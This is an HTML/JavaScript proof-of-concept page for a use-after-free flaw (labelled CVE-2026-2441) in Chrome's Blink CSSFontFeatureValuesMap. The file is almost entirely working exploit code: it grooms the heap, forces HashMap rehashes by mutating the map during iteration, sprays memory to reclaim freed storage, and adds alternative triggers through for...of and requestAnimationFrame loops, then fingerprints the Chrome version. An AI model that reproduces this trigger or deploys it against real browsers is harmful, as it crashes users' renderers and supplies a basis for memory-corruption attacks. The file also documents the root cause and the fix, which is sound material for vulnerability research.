1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
| <!DOCTYPE html>
<!--
CVE-2026-2441 — CSSFontFeatureValuesMap Iterator Invalidation (UAF) PoC
DISCLAIMER: For authorized security research only. Do not use on systems without explicit permission.
Vulnerability: Blink CSS engine, third_party/blink/renderer/core/css/css_font_feature_values_map.cc
Root cause: FontFeatureValuesMapIterationSource held a raw pointer to the FontFeatureAliases
HashMap (const FontFeatureAliases* aliases_). When the map is mutated during
iteration (set/delete), the HashMap rehashes, the old storage is freed, and the
pointer becomes dangling → Use-After-Free.
Fix: const FontFeatureAliases* aliases_ → const FontFeatureAliases aliases_ (deep copy)
Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c
Target: Chrome <= 144.0.x (all versions prior to 145.0.7632.75)
Expected result (unpatched): Renderer process crash (SIGSEGV / heap corruption)
Expected result (patched): No crash, test passes normally
-->
<html>
<head>
<meta charset="utf-8">
<title>CVE-2026-2441 PoC — CSSFontFeatureValuesMap UAF</title>
<style>
body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
#log { white-space: pre; font-size: 13px; }
.ok { color: #0f0; }
.warn { color: #ff0; }
.fail { color: #f44; }
.info { color: #08f; }
</style>
<!--
@font-feature-values at-rule: CSS Fonts Level 4 specification.
This rule creates a CSSFontFeatureValuesRule CSSOM object.
rule.styleset → CSSFontFeatureValuesMap (HashMap wrapper)
The vulnerability is triggered by the iteration + mutation combination on this Map.
-->
<style id="target-style">
@font-feature-values VulnTestFont {
@styleset {
entry_a: 1;
entry_b: 2;
entry_c: 3;
entry_d: 4;
entry_e: 5;
entry_f: 6;
entry_g: 7;
entry_h: 8;
}
}
</style>
</head>
<body>
<h2>CVE-2026-2441 — CSSFontFeatureValuesMap UAF PoC</h2>
<div id="log"></div>
<script>
"use strict";
const log = document.getElementById("log");
function print(msg, cls = "") {
const span = document.createElement("span");
span.className = cls;
span.textContent = msg + "\n";
log.appendChild(span);
}
print("[*] CVE-2026-2441 PoC starting...", "info");
print("[*] Target: CSSFontFeatureValuesMap iterator invalidation (UAF)", "info");
print("[*] Blink source: css_font_feature_values_map.cc", "info");
print("");
// ─── 1. Obtain the CSSOM object ──────────────────────────────────────────────
const sheet = document.getElementById("target-style").sheet;
if (!sheet || sheet.cssRules.length === 0) {
print("[!] ERROR: @font-feature-values rule not found.", "fail");
throw new Error("CSS rule not found");
}
const rule = sheet.cssRules[0];
print("[+] CSSFontFeatureValuesRule found: " + rule.fontFamily, "ok");
// CSSFontFeatureValuesMap object
// In Blink, this object is a CSSOM wrapper around the FontFeatureAliases HashMap.
const map = rule.styleset;
if (!map) {
print("[!] ERROR: rule.styleset is not accessible. Browser may not support this API.", "fail");
throw new Error("styleset not available");
}
print("[+] CSSFontFeatureValuesMap obtained. Size: " + map.size, "ok");
print("");
// ─── 2. Heap Grooming ────────────────────────────────────────────────────────
// Goal: Bring the heap into a predictable state.
// By creating multiple @font-feature-values rules, we allocate same-sized
// FontFeatureAliases objects. This facilitates memory reclaim after the UAF.
print("[*] Starting heap grooming...", "info");
const groomRules = [];
const groomStyle = document.createElement("style");
document.head.appendChild(groomStyle);
for (let i = 0; i < 50; i++) {
groomStyle.sheet.insertRule(
`@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,
groomStyle.sheet.cssRules.length
);
groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);
}
print("[+] " + groomRules.length + " groom objects created.", "ok");
// ─── 3. UAF Trigger — Iterator Invalidation ─────────────────────────────────
//
// Vulnerability mechanism (unpatched Blink):
//
// When CreateIterationSource() is called:
// FontFeatureValuesMapIterationSource(map, aliases_)
// → aliases_ (raw pointer) points to the internal HashMap
// → iterator_ = aliases_->begin()
//
// When FetchNextItem() is called:
// → iterator_->key is read
//
// If map.delete() or map.set() is called in between:
// → HashMap rehashes (new allocation, old storage freed)
// → aliases_ now points to freed memory (dangling pointer)
// → iterator_ is also invalidated
// → Next FetchNextItem() → USE-AFTER-FREE → CRASH
//
print("[*] Starting UAF trigger...", "info");
print("[*] Strategy: iterator.next() + map.delete() + map.set() x N (force rehash)", "info");
print("");
let crashDetected = false;
let iterationCount = 0;
try {
// Create iterator — at this point Blink creates an IterationSource with a raw pointer
const iterator = map.entries();
let step = 0;
while (step < 20) {
// iterator.next() → FetchNextItem() call
// Unpatched Blink: reads through dangling pointer
const result = iterator.next();
if (result.done) {
print(" [.] Iterator exhausted (step=" + step + ")", "warn");
break;
}
const [key, value] = result.value;
iterationCount++;
print(" [>] Entry: " + key + " = " + JSON.stringify(value) + " (step=" + step + ")", "ok");
// ── MUTATION: Modify the HashMap ─────────────────────────────────────
// This triggers a HashMap rehash.
// In unpatched Blink, the aliases_ pointer becomes dangling after this.
// Delete the current key
map.delete(key);
// Add many new keys → force rehash
// WTF::HashMap default load factor ~0.75; 512+ entries will definitely trigger rehash
// Each set() call potentially reallocates internal storage
for (let i = 0; i < 512; i++) {
map.set("spray_" + step + "_" + i, [i, i + 1, i + 2]);
}
// Also modify groom objects — fill the freed memory
for (let g = 0; g < groomRules.length; g++) {
try {
groomRules[g].styleset.set("reclaim_" + step + "_" + g, [step]);
} catch(e) {}
}
step++;
}
print("");
print("[+] Iteration completed (" + iterationCount + " entries processed).", "ok");
} catch (e) {
crashDetected = true;
print("[!] EXCEPTION caught: " + e.message, "fail");
print("[!] This may be the UAF manifesting at the JavaScript layer.", "fail");
}
// ─── 4. Results ──────────────────────────────────────────────────────────────
print("");
print("─".repeat(60), "info");
print("[*] RESULTS:", "info");
const ua = navigator.userAgent;
const chromeMatch = ua.match(/Chrome\/([\d.]+)/);
const chromeVersion = chromeMatch ? chromeMatch[1] : "unknown";
print("[*] Chrome version: " + chromeVersion, "info");
// Version comparison
// Dev/Canary builds have build number 0: 145.0.0.0
// In that case major.minor is not enough, full build number is required.
function parseVersion(v) {
const parts = v.split(".").map(Number);
return {
major: parts[0] || 0,
minor: parts[1] || 0,
build: parts[2] || 0,
patch: parts[3] || 0,
isDevBuild: (parts[2] === 0 && parts[3] === 0)
};
}
function isVulnerable(vStr) {
const v = parseVersion(vStr);
// Dev/Canary build (x.x.0.0): receives upstream fix early, considered safe
if (v.isDevBuild) return false;
// major < 145 → definitely vulnerable
if (v.major < 145) return true;
// major > 145 → patched
if (v.major > 145) return false;
// major === 145: check build number
if (v.build < 7632) return true;
if (v.build > 7632) return false;
// build === 7632: check patch
return v.patch < 75;
}
if (chromeMatch) {
const v = parseVersion(chromeVersion);
if (v.isDevBuild) {
print("[?] Dev/Canary build detected (" + chromeVersion + ").", "warn");
print("[?] Dev builds receive upstream fixes early — likely PATCHED.", "warn");
print("[?] Use stable/beta channel (<= 144.0.x) for accurate testing.", "warn");
} else if (isVulnerable(chromeVersion)) {
print("[!] THIS VERSION IS VULNERABLE! (" + chromeVersion + " < 145.0.7632.75)", "fail");
print("[!] Renderer crash expected — if no crash occurred, sandbox or other", "fail");
print("[!] mitigations may have altered the trigger conditions.", "fail");
} else {
print("[+] This version is patched. (" + chromeVersion + " >= 145.0.7632.75)", "ok");
print("[+] No crash expected — the fix prevents iterator invalidation.", "ok");
}
} else {
print("[?] Chrome version could not be detected.", "warn");
}
if (crashDetected) {
print("[!] Exception detected — UAF was partially triggered.", "fail");
} else {
print("[+] No exception — either patched version, or the crash killed the renderer", "ok");
print(" (if the renderer crashed, this line would never execute).", "ok");
}
print("");
print("[*] Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c", "info");
print("[*] Diff: css_font_feature_values_map.cc", "info");
print("[*] Fix: const FontFeatureAliases* → const FontFeatureAliases (deep copy)", "info");
print("─".repeat(60), "info");
// ─── 5. Alternative trigger via for...of ─────────────────────────────────────
// Some Blink versions use a different code path for for...of iteration.
print("");
print("[*] Alternative trigger: for...of + concurrent mutation...", "info");
try {
// Retry with a fresh map
const style2 = document.createElement("style");
document.head.appendChild(style2);
style2.sheet.insertRule(
`@font-feature-values AltFont {
@styleset { x1: 10; x2: 20; x3: 30; x4: 40; x5: 50; }
}`, 0
);
const rule2 = style2.sheet.cssRules[0];
const map2 = rule2.styleset;
let altCount = 0;
for (const [k, v] of map2) {
altCount++;
// Mutation during iteration
map2.delete(k);
for (let i = 0; i < 512; i++) {
map2.set("alt_" + altCount + "_" + i, [i, i]);
}
if (altCount >= 5) break;
}
print("[+] for...of completed (" + altCount + " iterations).", "ok");
} catch(e) {
print("[!] for...of exception: " + e.message, "fail");
}
// ─── 6. Async trigger via requestAnimationFrame ──────────────────────────────
// Forces layout recalculation via offsetWidth inside a rAF loop,
// re-triggering the CSS engine.
print("");
print("[*] Starting rAF + layout recalc trigger...", "info");
const style3 = document.createElement("style");
document.head.appendChild(style3);
style3.sheet.insertRule(
`@font-feature-values RafFont {
@styleset { r1: 1; r2: 2; r3: 3; r4: 4; r5: 5; }
}`, 0
);
const rule3 = style3.sheet.cssRules[0];
const map3 = rule3.styleset;
let rafCount = 0;
let rafIterator = map3.entries();
function rafTrigger() {
if (rafCount >= 10) {
print("[+] rAF trigger completed (" + rafCount + " frames).", "ok");
print("");
print("[*] PoC finished. See results above.", "info");
print("");
print("[*] SUMMARY:", "info");
print("[*] Vulnerable : Chrome <= 144.x (stable) or < 145.0.7632.75", "info");
print("[*] Patched : Chrome >= 145.0.7632.75 (stable)", "info");
print("[*] Dev build : e.g. 145.0.0.0 — receives upstream fix early", "info");
print("[*] No crash : Version is patched OR renderer silently crashed", "info");
print("[*] Crash : UAF successfully triggered", "info");
return;
}
// Force layout recalc — re-trigger CSS engine
void document.body.offsetWidth;
// Iterator step
const result = rafIterator.next();
if (!result.done) {
const [k] = result.value;
map3.delete(k);
for (let i = 0; i < 512; i++) {
map3.set("raf_" + rafCount + "_" + i, [rafCount, i]);
}
}
rafCount++;
requestAnimationFrame(rafTrigger);
}
requestAnimationFrame(rafTrigger);
</script>
</body>
</html>
|